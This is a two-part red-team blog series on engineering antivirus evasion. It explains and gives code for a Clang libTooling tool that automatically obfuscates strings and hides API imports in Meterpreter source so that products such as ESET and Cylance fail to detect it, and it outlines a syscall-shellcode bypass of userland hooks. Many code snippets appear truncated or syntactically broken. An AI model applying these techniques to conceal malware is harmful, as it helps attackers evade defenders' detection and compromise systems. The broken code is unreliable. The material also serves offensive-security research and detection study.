Those strings will be stored in clear-text in the .rdata section of ext_server_espia.x64.dll and picked up by ESET Nod32 for instance.

To make things worse, those strings are parameters to a macro, located in a list initialiser. This introduces a bunch of tricky corner cases that are not obvious to overcome. The goal is to rewrite this snippet automatically as follows:

char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};

Command customCommands[] =

    COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
    COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
    COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
    COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
    COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
    COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
    COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
    COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
    COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
    COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
    COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
    COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
    COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
    COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
    COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
    COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),

Hiding API Imports

Calling functions exported by external libraries causes the linker to write an entry into the Import Address Table (IAT). As a result, the function name will appear as clear-text within the binary, and thus can be recovered statically without even executing the malware. Of course, there are function names that are more suspicious than others. It would be wise to hide all the suspicious ones and keep the ones that are present in the majority of legitimate binaries.
For instance, in the kiwi extension of Metepreter, one can find the following line:

enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

This function is exported by samlib.dll, so the linker will cause the strings “samlib.dll” and “SamEnumerateUsersInDomain” to appear in the compiled binary.

To solve this issue, it is possible to import the API at runtime using LoadLibrary / GetProcAddresss. Of course, both these functions work with strings, so they must be obfuscated as well. Thus, we would like to automatically rewrite the above snippet as follows:

typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
    SAMPR_HANDLE DomainHandle,
    PDWORD EnumerationContext,
    DWORD UserAccountControl,
    DWORD PreferedMaximumLength,
    PDWORD CountReturned
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

Rewriting syscalls

By default, using the migrate command of Meterpreter on a machine where Cylance is running triggers the antivirus detection (for now, just take our word for it). Cylance detects the process injection with a userland hook. To get around the detection, one can remove the hook, which seems to be the trending approach nowadays, or simply avoid it altogether. We found it simpler to read ntdll, recover the syscall number and insert it in a ready-to-call shellcode, which effectively gets around any antivirus’ userland’s hooks. To date, we have yet to find a Blue-Team that identifies NTDLL.DLL being read from disk as being “suspicious”.


All the aforementioned ideas can be implemented in a source code refactoring tool based on libTooling. This section documents the way we did it, which is a compromise between time available and patience with the lack of libTooling documentation. So, there is room for improvements, and in case something looks off to you, it probably is and we would love to hear about it.

Abstract Syntax Tree 101

A compiler typically comprises several components, the most common ones being a Parser and a Lexer. When source code is fed to the compiler, it first generates a Parse Tree out of the original source code (what the programmer wrote), and then adds semantic information to the nodes (what the compiler truly needs). The result of this step is called an Abstract Syntax Tree. Wikipedia showcases the following example:

while b ≠ 0
  if a > b
    a := a − b
    b := b − a
return a

A typical AST for this small program would look like this:

Example of an Abstract Syntax Tree (

This data structure allows for more precise algorithms when it comes to writing programs that understand properties of other programs, so it seems like a good choice to perform large scale code refactoring.

Clang’s Abstract Syntax Tree

Since we need to modify source code The Right WayTM, we will need to get acquainted with Clang‘s AST. The good news is that Clang exposes a command-line switch to dump the AST with pretty colours. The bad news is that for everything but toy projects, setting the correct compiler flags is… tricky.

For now, let us have a realistic yet simple enough test translation unit:

#include <windows.h>


int main(void)
    f_NtMapViewOfSection lNtMapViewOfSection;
    HMODULE ntdll;

    if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
        return -1;

    lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    return 0;

Then, punch-in the following script into a .sh file (don’t ask how we came up with all those compiler flags, you will bring back painful memories):


clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"\
  "-I" "$CLANG_PATH/include" \
  "-I" "$CLANG_PATH" \
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"\
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \
  "-fdeprecated-macro" \
  "-w" \
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" \
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

Notice that WIN_INCLUDE points to a folder containing all the required headers to interact with the Win32 API. These were taken as-is from a standard Windows 10 install, and to save you some headaches, we recommend that you do the same instead of opting for MinGW’s ones. Then, call the script with the test C file as argument. While this produces a 18MB file, it is easy enough to navigate to the interesting part of the AST by searching for one of the string literals we defined, for instance “NtMapViewOfSection“:

Now that we have a way to visualise the AST, it is much simpler to understand how we will have to update the nodes to achieve our result, without introducing any syntax errors in the resulting source code. The subsequent sections contain the implementation details related to AST manipulation with libTooling.

ClangTool boilerplate

Unsurprisingly, there is some required boilerplate code before getting into the interesting stuff, so punch-in the following code into main.cpp:

#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"

// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"

#include "Consumer.h"
#include "MatchHandler.h"

#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>

namespace ClSetup {
    llvm::cl::OptionCategory ToolCategory("StringEncryptor");

namespace StringEncryptor {

    clang::Rewriter ASTRewriter;
    class Action : public clang::ASTFrontendAction {

        using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;

        ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
                                             llvm::StringRef Filename) override {

            ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
            std::vector<ASTConsumer*> consumers;

            // several passes can be combined together by adding them to `consumers`
            auto TheConsumer = llvm::make_unique<Consumer>();
            TheConsumer->consumers = consumers;
            return TheConsumer;

        bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
            llvm::outs() << "Processing file " << '\n';
            return true;

        void EndSourceFileAction() override {

            clang::SourceManager &SM = ASTRewriter.getSourceMgr();

            std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
            llvm::errs() << "** EndSourceFileAction for: " << FileName << "\n";

            // Now emit the rewritten buffer.
            llvm::errs() << "Here is the edited source file :\n\n";
            std::string TypeS;
            llvm::raw_string_ostream s(TypeS);
            auto FileID = SM.getMainFileID();
            auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);

            if(ReWriteBuffer != nullptr)
                llvm::errs() << "File was not modified\n";

            std::string result = s.str();
            std::ofstream fo(FileName);
                fo << result;
                llvm::errs() << "[!] Error saving result to " << FileName << "\n";

auto main(int argc, const char *argv[]) -> int {

    using namespace clang::tooling;
    using namespace ClSetup;

    CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
    ClangTool Tool(OptionsParser.getCompilations(),

    auto Action = newFrontendActionFactory<StringEncryptor::Action>();

Since that boilerplate code is taken from examples in the official documentation, there is no need to describe it further. In fact, the only modification worth mentioning is inside CreateASTConsumer. Our end game is to run several tranformation passes on the same translation unit. It can be done by adding items to the consumers collection (the essential line is consumers.push_back(&...);).

String obfuscation

This section describes the most important implementation details regarding the string obfuscation pass, which comprises three steps:

  • Locate string literals in the source code.
  • Replace them with variables
  • Insert a variable definition / assignment at the appropriate location (enclosing function or global context).

Locating string literals in source code

StringConsumer can be defined as follows (at the beginning of the StringEncryptor namespace):

class StringEncryptionConsumer : public clang::ASTConsumer {

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        using namespace clang::ast_matchers;
        using namespace StringEncryptor;

        llvm::outs() << "[StringEncryption] Registering ASTMatcher...\n";
        MatchFinder Finder;
        MatchHandler Handler(&ASTRewriter);

        const auto Matcher = stringLiteral().bind("decl");

        Finder.addMatcher(Matcher, &Handler);

StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();

Given a translation unit, we can tell Clang to find a pattern inside the AST, as well as register a “handler” to be called whenever a match is found. The pattern matching exposed by Clang’s ASTMatcher is quite powerful, and yet underused here, since we only resort to it to locate string literals.

Then, we can get to the heart of the matter by implementing a MatchHandler, which will provide us with a MatchResult instance. A MatchResult contains a reference to the AST node identified, as well as priceless context information.

Let us implement the class definition and inherit some good stuff from clang::ast_matchers::MatchFinder::MatchCallback:


#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"

class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {

    using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;

    MatchHandler(clang::Rewriter *rewriter);
    void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.



In MatchHandler.cpp, we will have to implement MatchHandler’s constructor and the run callback function. The constructor is pretty simple, since it is only needed to store the clang::Rewriter‘s instance for later use:

using namespace clang;

MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
    this->ASTRewriter = rewriter;

run is implemented as follows:

void MatchHandler::run(const MatchResult &Result) {
    const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
    clang::SourceManager &SM = ASTRewriter->getSourceMgr();

    // skip strings in included headers
    if (!SM.isInMainFile(Decl->getBeginLoc()))

    // strings that comprise less than 5 characters are not worth the effort
    if (!Decl->getBytes().str().size() > 4) {

    climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);

From the excerpt shown above, there are three elements worth mentioning:

  • We extract the AST node that was matched by the pattern defined in StringEncryptionConsumer. To do that, one can call the function getNodeAs, which expects a string as argument that relates to the identifier the pattern was bound to (see the line const auto Matcher = stringLiteral().bind("decl"))
  • We skip strings that are not defined in the translation unit under analysis. Indeed, our pass intervenes after Clang‘s preprocessor, which will actually copy-paste included system headers into the translation unit.
  • Then, we are ready to process the string literal. Since we need to know about the context where this string literal was found, we pass the extracted node to a user-defined function, (climbParentsIgnoreCast in this case, for the lack of a better name), along Result.Context, which contains a reference to the enclosing AST. The goal is to visit the tree upwards until an interesting node is found. In this case, we are interested in a node of type CallExpr.
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
                                     clang::ASTContext *const pContext, uint64_t iterations) {

    ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);

    if (iterations > 0) {
        parents = pContext->getParents(node);

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("Cast") != std::string::npos) {

            return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);

        handleStringInContext(&NodeString, pContext, parent);

    return false;

In a nutshell, this function recursively looks up the parent nodes of a StringLiteral node, until it finds one that should be interesting (i.e. not a “cast”). handleStringInContext is also straight-forward:

void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                         const clang::ast_type_traits::DynTypedNode node) {

    StringRef ParentNodeKind = node.getNodeKind().asStringRef();

    if ("CallExpr") == 0) {
        handleCallExpr(pLiteral, pContext, node);
    } else if ("InitListExpr") == 0) {
        handleInitListExpr(pLiteral, pContext, node);
    } else {
        llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "\n";

As evident from the snippet above, only two kind of nodes are actually handled. It should also be quite easy to add more if needed. Indeed, both cases are already handled in a similar fashion.

void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    const auto *FunctionCall = node.get<clang::CallExpr>();

    if (isBlacklistedFunction(FunctionCall)) {
        return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).

    handleExpr(pLiteral, pContext, node);

void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                      const clang::ast_type_traits::DynTypedNode node) {

    handleExpr(pLiteral, pContext, node);

Replacing string literals

Since both CallExpr and InitListExpr can be handled in a similar fashion, we define a common function usable by both.

bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    clang::SourceRange LiteralRange = clang::SourceRange(

    if(shouldAbort(pLiteral, pContext, LiteralRange))
        return false;

    std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());

    if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
        return false ;


    return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
  • We randomly generate a variable name.
  • Find some empty space at the nearest location and insert the variable declaration. This is basically a wrapper around ASTRewriter->InsertText().
  • Replace the string with the identifier generated in step 1.
  • Add the string literal location to a collection. This is useful because when visiting InitListExpr, the same string literal will appear twice (no idea why).

The last step is the only one that is tricky to implement really, so let us focus on that first:

bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                        clang::SourceRange LiteralRange,
                                        const std::string& Replacement) {

    // handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
    bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());

    if (isMacro) {
        StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
                                                         pContext->getSourceManager(), pContext->getLangOpts());

        // weird bug with TEXT Macro / other macros...there must be a proper way to do this.
        if (OrigText.find("TEXT") != std::string::npos) {


    return ASTRewriter->ReplaceText(LiteralRange, Replacement);

Normally, replacing text should be realised with the ReplaceText API, but in practice too many bugs were encountered with it. When it comes to macros, things tend to get very complicated because Clang’s API behaves inconsistently. For instance, if you remove the check isMacroBodyExpansion(), you will end up replacing “TEXT” instead of its argument.

For instance in LoadLibrary(TEXT("ntdll")), the actual result would be LoadLibrary(your_variable("ntdll")), which is incorrect.

The reason for this is that TEXT is a macro that, when handled by the Clang’s preprocessor, is replaced with L"ntdll". Our transformation pass happens after the preprocessor has done its job, so querying the start and end locations of the token “ntdll” will yield values that are off by a few characters, and are not useful to us. Unfortunately, querying the actual locations in the original translation unit is a kind of black magic with Clang’s API, and the working solution was found with trial-and-error, sorry.

Inserting a variable declaration at the nearest empty location

Now that we are able to replace string literals with variable identifiers, the goal is to define that variable and assign it with the value of the original string. In short, we want the patched source code to contain char your_variable[] = "ntdll", without overwriting anything.

There can be two scenarios:

  • The string literal is located within a function body.
  • The string literal is located outside a function body.

The latter is the most straightforward, since it is only needed to find the start of the expression where the string literal is used.

For the former, we need to find the enclosing function. Then, Clang exposes an API to query the start location of the function body (after the first bracket). This is an ideal place to insert a variable declaration because the variable will be visible in the entire function, and the tokens that we insert will not overwrite stuff.

In any case, both situations are solved by visiting every parent node until a node of type FunctionDecl or VarDecl is found:

MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {

    if (Iterations > CLIMB_PARENTS_MAX_ITER)
        throw std::runtime_error("Reached max iterations when trying to find a function declaration");

    ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;

    if (Iterations > 0) {
        parents = Context->getParents(Parent);

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
            auto FunDecl = parent.get<clang::FunctionDecl>();
            auto *Statement = FunDecl->getBody();
            auto *FirstChild = *Statement->child_begin();
            return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};

        } else if (ParentNodeKind.find("VarDecl") != std::string::npos) {

            if (IsGlobal) {
                return parent.get<clang::VarDecl>()->getSourceRange();

        return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);


git clone
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
cd ..
bash test/string_simplest.c

As you can see, this works pretty well. Now, this example was simple enough that it could have been solved with regexes and way fewer lines of codes. However, even though we are delighted to count the king of regexes (
@1mm0rt411 himself) among our ranks, it would have been unfair to challenge him with a task as pesky as string obfuscation in Meterpreter.

Going further

For now, strings are not actually encrypted, in spite of the obfuscation pass being named “StringEncryptor”. How much effort is really needed to actually encrypt the strings? Spoiler: a few more hours, but it is a tradition to leave some exercices for the reader 😉

In addition, @TheColonial recently (April 2020) updated Meterpreter so that it can be compiled with more recent versions of Visual Studio. It means that it should be possible to move on from the C89 standard and handle more corner cases, such as obfuscating the first argument to format string functions.

To be continued…

As this post is already kind of lengthy, it was decided to split it into several parts. In fact, obfuscating strings was the easy part implementation-wise, although you need to be extremely familiar with Clang‘s API. Its documentation being the source code, we recommend allocating a week or two to ingest it as a whole 😛 (and then don’t hesitate to reach out to a specialist for mental health recovery).

The next blog post will be about hiding API Imports automatically.


Vladimir Meier

Engineering antivirus evasion (Part II)

By: plowsec
15 July 2020 at 14:33

tl;dr To interact with the Windows operating system, software often import functions from Dynamic Link Libraries (DLL). These functions are listed in clear-text in a table called Import Address Table and antivirus software tend to capitalise on that to infer malicious behavioural detection. We show ideas and implementation of an obfuscator that allows to refactor any C/C++ software to remove this footprint, with a focus on Meterpreter. The source code is available at


In a previous blog post, we showed how to replace string literals in source code accurately without using regexes. The goal is to reduce the footprint of a binary and blind security software that relies on static signatures.

However, apart from string literals in the source code itself, there are plenty of other fingerprints that can be collected and analysed statically. In this blog post, we will show how one can hide API imports manually from a binary, and then automate the process for every software written in C/C++.

The problem with API imports

Let us write and build a simple C program that pops up an alert box:

#include <Windows.h>
int main(int argc, char** argv) { 
    MessageBox(NULL, "Test", "Something", MB_OK);
    return 0;

Then, build with your favorite compiler. Here, MinGW is used to cross-build from macOS to Windows:

x86_64-w64-mingw32-gcc test.c -o /tmp/toto.exe

Afterwards, one can list the strings using rabin2 (included in radare2), or even the GNU strings utility:

rabin2 -zz /tmp/toto.exe | bat

 205   │ 201  0x00003c92 0x00408692 7   8    .idata        ascii   strncmp
 206   │ 202  0x00003c9c 0x0040869c 8   9    .idata        ascii   vfprintf
 207   │ 203  0x00003ca8 0x004086a8 11  12   .idata        ascii   MessageBoxA
 208   │ 204  0x00003d10 0x00408710 12  13   .idata        ascii   KERNEL32.dll
 209   │ 205  0x00003d84 0x00408784 10  11   .idata        ascii   msvcrt.dll
 210   │ 206  0x00003d94 0x00408794 10  11   .idata        ascii   USER32.dll

9557   │ 9553 0x0004f481 0x00458e81 30  31                 ascii   .refptr.__native_startup_state
9558   │ 9554 0x0004f4a0 0x00458ea0 11  12                 ascii   __ImageBase
9559   │ 9555 0x0004f4ac 0x00458eac 11  12                 ascii   MessageBoxA
9560   │ 9556 0x0004f4b8 0x00458eb8 12  13                 ascii   GetLastError
9561   │ 9557 0x0004f4c5 0x00458ec5 17  18                 ascii   __imp_MessageBoxA
9562   │ 9558 0x0004f4d7 0x00458ed7 23  24                 ascii   GetSystemTimeAsFileTime
9563   │ 9559 0x0004f4ef 0x00458eef 22  23                 ascii   mingw_initltssuo_force
9564   │ 9560 0x0004f506 0x00458f06 19  20                 ascii   __rt_psrelocs_start

As evident from the console output shown above, the string MessageBoxA appears three times. This is due to the fact that this function must be imported from the library User32.dll (more on this later).

Of course, this string in particular is not susceptible to raise an antivirus’ eyebrows, but that would definitely be the case for APIs such as:

  • InternetReadFile
  • ShellExecute
  • CreateRemoteThread
  • OpenProcess
  • ReadProcessMemory
  • WriteProcessMemory

Hiding API imports

Before going further, let us recapitulate the different ways available to developers to call functions in external libraries on Windows systems [1]:

  • Load-time dynamic linking.
  • Run-time dynamic linking.

Load-time dynamic linking

This is the default approach to resolve function in external libraries and is actually taken care of automatically by the linker. During the build cycle, the application is linked against the import library (.lib) of each Dynamic Link Library (DLL) it depends on. For each imported function, the linker writes an entry into the IAT for the associated DLL.

When the application is started, the operating system scans the IAT and maps all the libraries listed there in the process’ address space, and the addresses of each imported function is updated to point to the corresponding entry in the DLL’s Export Address Table.

Import Address Table (IAT)

Run-time dynamic linking

An alternative is to do it manually by first loading the corresponding library with LoadLibrary, and then resolving the function’s address with GetProcAddress. For instance, the previous example can be adapted in order to rely on run-time dynamic linking.

First, it is necessary to define a function pointer for the API MessageBoxA. Before jumping into that, let us share a small trick to remember the syntax of function pointers in C for those of us that find it unintuitive:

<return type> (*<your pointer name>)(arg1, arg2, ...);

As you can see, it is the same syntax used to define functions, apart from the star operator (because it is a function pointer) and the parenthesis.

Now, we need the prototype of MessageBox, which can be copy-pasted from winuser.h from the Windows SDK or straight from MSDN:

int MessageBox(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType

Now, the aforementioned function pointer syntax can be updated with the correct information:

int (*_MessageBoxA)(
    HWND hWnd,
    LPCTSTR lpText,
    LPCTSTR lpCaption,
    UINT uType

MSDN tells us that this function is exported by User32.dll:

The API MessageBoxA is exported by User32.dll.

So, the application must first load this library:

HANDLE hUser32 = LoadLibrary("User32.dll");

Then, GetProcAddress can finally be used to assign the correct address to the function pointer defined above:

_MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, "MessageBoxA");

From there, the original example must be adapted to call fMessageBoxA instead of MessageBoxA, which gives:

#include <Windows.h>

typedef int (*_MessageBoxA)(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType

int main(int argc, char** argv) {

    HANDLE hUser32 = LoadLibraryA("User32.dll");
    _MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, "MessageBoxA");
    fMessageBoxA(NULL, "Test", "Something", MB_OK);
    return 0;

The Windows.h include is only required for the data types HWND, LPCTSTR and UINT. Building and running this simple example spawns an alert box, as expected:

Simplest example of using LoadLibrary and GetProcAddress for run-time dynamic linking.

Final adaptation

Of course, running strings on toto.exe will still yield the strings “User32.dll” and “MessageBoxA”. So, those strings should ideally be encrypted, but the simple obfuscation trick shown in the previous blog post suffices to bypass antivirus detection. The end result would be:

#include <Windows.h>

typedef int (*_MessageBoxA)(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType

int main(int argc, char** argv) {

    char user32[] = {'U','s','e','r','3','2','.','d','l','l',0};
    HANDLE hUser32 = LoadLibraryA(user32);

    char messabox[] = {'M','e','s','s','a','g','e','B','o','x','A',0};
    _MessageBoxA fMessageBoxA = (_MessageBoxA) GetProcAddress(hUser32, messabox);
    fMessageBoxA(NULL, "Test", "Something", MB_OK);
    return 0;

This time, neither strings nor rabin2 are able to find the string (although a reverse-engineer sure will):

➜  x86_64-w64-mingw32-gcc test.c -o /tmp/toto.exe
➜  strings /tmp/toto.exe | grep MessageBox
➜  rabin2 -zz /tmp/toto.exe | grep MessageBox

Automated source code refactoring

The same approach lengthily described in the previous blog post can be used to refactor an existing code-base, so that suspicious API are loaded at runtime and removed from the Import Address Table. To do that, we will build upon the existing work realised with libTooling.

Let us break down this task as follows:

  • Generate the Abstract Syntax Tree for the previous, original example. This is required to understand how to manipulate the nodes to replace a function call.
  • Locate all the function calls in a code-base for a given API with an ASTMatcher.
  • Replace all the calls with another function identifier.
  • Insert LoadLibrary / GetprocAddress calls just before each function call.
  • Check that it works.
  • Generalise and obfuscate all the suspicious API.

The MessageBox application’s Abstract Syntax Tree

To view Clang’s Abstract Syntax Tree for the original MessageBox application, let us use that script (adapt the path to your Windows SDK):


clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"\
  "-I" "$CLANG_PATH/include" \
  "-I" "$CLANG_PATH" \
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"\
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" \
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \
  "-fdeprecated-macro" \
  "-w" \
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" \
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

And run it:

bash test/messagebox_simple.c > test/messagebox_simple.c.ast
Clang Abstract Syntax Tree for a simple application that calls the API MessageBoxA.

Locating function calls in source code basically amounts to finding AST nodes of type CallExpr. As pictured on the screenshot above, the function name that is actually called is specified in one of its child nodes, so it should be possible to access it later on.

Locate function calls for a given API

